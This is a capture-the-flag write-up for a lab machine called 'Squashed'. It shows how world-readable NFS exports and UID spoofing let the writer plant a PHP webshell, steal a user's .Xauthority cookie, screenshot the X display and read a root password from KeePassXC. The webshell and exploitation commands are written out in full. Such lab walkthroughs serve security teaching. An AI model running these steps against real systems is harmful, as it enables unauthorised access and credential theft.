Post

Squashed

Squashed

Recon

I started with an nmap scan. These are the ports that matter:

PortServiceNotes
22SSHOpenSSH
80HTTPApache
111rpcbindused by NFS
2049NFS/home/ross and /var/www/html

Port 2049 is the interesting one. NFS is open, so I checked what the server exports.

1
2
3
showmount -e 10.129.228.109
# /home/ross *
# /var/www/html *

Both shares are exported to everyone (*). One is the web root and the other is the home folder of the user ross.

Foothold

NFS does not check passwords here. It only looks at the numeric UID of the user who accesses the files. The web root is owned by UID 2017, which is the user alex. So if I make a local user with UID 2017, the server will treat me as alex.

I created a fake user with that UID and mounted the web root:

1
2
useradd -u 2017 fakealex
mount -t nfs 10.129.228.109:/var/www/html /mnt/html

Now I can write into the web root as alex. I dropped a small PHP webshell there:

1
su fakealex -c 'echo "<?php system(\$_GET[\"cmd\"]); ?>" > /mnt/html/cmd.php'

Then I called it with curl to run commands on the box.

User

The webshell runs as alex, so I can read his flag directly:

1
curl 'http://10.129.228.109/cmd.php?cmd=cat+/home/alex/user.txt'

Root

The other share is the home folder of ross. I mounted it too and looked inside.

1
mount -t nfs 10.129.228.109:/home/ross /mnt/ross

Ross has a .Xauthority file. This file is the cookie that lets a program talk to his X11 display. If I have it, I can connect to his desktop session. I copied it into the web root so the webshell can reach it:

1
cp /mnt/ross/.Xauthority /mnt/html/

Next, through the webshell, I used xwd to take a screenshot of the display :0 with that cookie:

1
XAUTHORITY=/var/www/html/.Xauthority xwd -root -screen -silent -display :0 > screenshot.xwd

I opened the screenshot and it shows KeePassXC unlocked, with the root password in plain view: root:cah$mei7rai9A.

With that password I switched to root:

1
2
su root
# password: cah$mei7rai9A

After that I could read root.txt.

At the end I cleaned up: removed the webshell, the copied .Xauthority and the screenshot, unmounted the NFS shares and deleted the fake user.